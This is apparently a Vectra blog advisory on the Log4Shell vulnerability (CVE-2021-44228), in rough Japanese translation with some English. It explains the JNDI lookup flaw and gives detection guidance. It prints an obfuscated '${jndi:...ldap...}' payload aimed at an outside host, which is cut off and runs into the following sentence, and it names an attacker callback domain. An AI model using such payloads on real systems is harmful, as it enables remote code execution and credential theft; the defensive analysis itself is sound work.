更新日：2021年12月13日
cybercriminels Log4jのゼロデイ脆弱性を突く
私たちが状況を監視し続けている間、Vectra は、cybercriminels からシステムを悪用しようとする複数の試みを観測しました。まず最初に、これらは基本的なコールバックであり、最初のエクスプロイトの試みはTORノードから行われました。これらのほとんどは "bingsearchlib[.]com"を指し、エクスプロイトはユーザーエージェントまたはリクエストのURIに渡されました。
この脆弱性を悪用しようとする最初の波以来、この脆弱性を利用する脅威アクターの戦術には多くの変化があった。特に、使用されるコマンドに変化が見られ、脅威者はリクエストを難読化するようになった。これにはもともと、ユーザーエージェントやURIにbase64文字列を詰め込むことが含まれており、脆弱なシステムによってデコードされると、ホストは攻撃者のインフラストラクチャから悪意のあるドロッパーをダウンロードすることになる。これに続いて、攻撃者はJDNIプロセスの他の翻訳機能を利用することで、JDNI文字列自体を難読化し始めた。この例としては、以下のようなものがある：
${jndi:${lower:l}${lower:d}a${lower:p}://world80${${env:ENV_NAME:-j}n${env:ENV_NAME:-d}i${env:ENV_NAME:-:}${env:ENV_NAME:-l}d${env:ENV_NAME:-a}p${env:ENV_NAME:-:}//${jndi:dns://これらはすべて、悪意のあるクラス・ファイルをダウンロードしてターゲット・システムにドロップする、あるいはクラウドベースのシステムの認証情報をリークするという同じ目的を達成する。
今後の展開については、Vectra ブログをご覧ください。
--
元の投稿2021年12月10日
Log4jのゼロデイ脆弱性の初期発見
On 10th December 2021, a new 0day was discovered in the log4j application. This 0day, now tracked as CVE-2021-44228, takes advantage of the parsing of LDAP logs, and the parsing of the LDAP url in the jndi engine. This engine will automatically look up variables in logs to improve the output of the logs. For example “Logging from ${java:vm}” would output as "Logging from Oracle JVM”. This however, leads to a problem when parsing directory services using this method. When parsing these variables, if there is a dot “.” in the string, the log4j server will look up a remote address and parse the response with the jndi engine.
攻撃者は、https://github.com/mbechler/marshalsec のようなツールを使用することで、悪意のあるペイロードを作成し、log4jサーバーをこのJavaペイロードに誘導することができる。詳細については、参考文献のブログやGitHubリポジトリを参照してください。
Log4jは、Javaベースのアプリケーション、ウェブ・アプリケーション、およびモジュールのために、非常に広く使用されているロギング・ソリューションである。SteamからMinecraftまでのアプリケーションが脆弱であることが示されていますが、複数のToRノードも攻撃されています。
この脆弱性でユーザーが直面する最大の問題のひとつは、攻撃対象がとてつもなく大きいということだ。このGitHubリポジトリの写真が示しているように。
また、脆弱性があるのはLDAPだけでなく、リモート・メソッド・インボケーション(RMI）やコモン・オブジェクト・リクエスト・ブローカー・アーキテクチャ(CORBA）を含む他のディレクトリ・サービス・パーサーであることも注目に値する。
開発者からの推奨は、log4jシステムを Maven Centralで利用可能なlog4j 2.15.0にアップグレードすることです。
log4jが有効なシステムを使用している場合、開発者のシステムのアップデートを参照し、log4jを実行しているホストが危険にさらされていると考えるべきです。
Log4jのゼロデイ・エクスプロイト(CVE-2021-44228)の検出
この脆弱性の最大の問題の一つは、最初のベクターが検知するのが難しいということです。それは、ログの文字列として表示され、あなたはlog4jサーバへの生の入力を見ることができ、すべてのLDAP外部接続に警告します。あるいは、ログ・サーバから Java クラス・ファイルへの外部接続を探すこともできます。
If you have access to metadata, using tools such as the Vectra AI platform for example, one telltale sign of attempts to compromise servers would be to search for the following patterns in text fields such as User-Agent: /\$\{jndi:.*/
これは、サーバーに対する侵害の試みを発見するが、侵害があったかどうかは確認できない。前提として、団地内の少なくとも1つのサーバーが侵害されていることが想定されており、Vectra 、複数のソースでスキャンの試みが確認されていることを確認することができます。
侵害された可能性のあるホストを見つけるためには、JAVA、Jar、Classファイルをダウンロードしているホストを調べることが可能かもしれない。しかしながら、ホストが侵害された場合、それを検知する最良の方法は、ホストを観察し、疑わしい振る舞いを探すことです。
Vectra AIプラットフォームは 、ネットワーク・トラフィックを観察し、機械学習とAIを使用してトラフィックを分類することにより、疑わしい動作をするホストをハイライトします。侵害されたホストは、C2タイプの検出、横方向の移動の検出、または地所全体で使用されているローカル・アプリケーションまたはサービス・アカウントを持つことが予想されます。エッジ・デバイスが侵害された場合、DMZ内のデバイスからの偵察活動も増加する可能性があります。
また、log4jを実行するシステムが、ネットワークの奥深くにある可能性があることにも注意する必要がある。例えば、Elasticクラスタの一部であり、その場合、それらのホストも特定する必要がある。
この目的のために、潜在的にlog4j（アパッチTomcat、アパッチStrutsなど）を実行する地所上のホストを見つけ、それらをグループに移動するか、タグ付けすることを推奨します。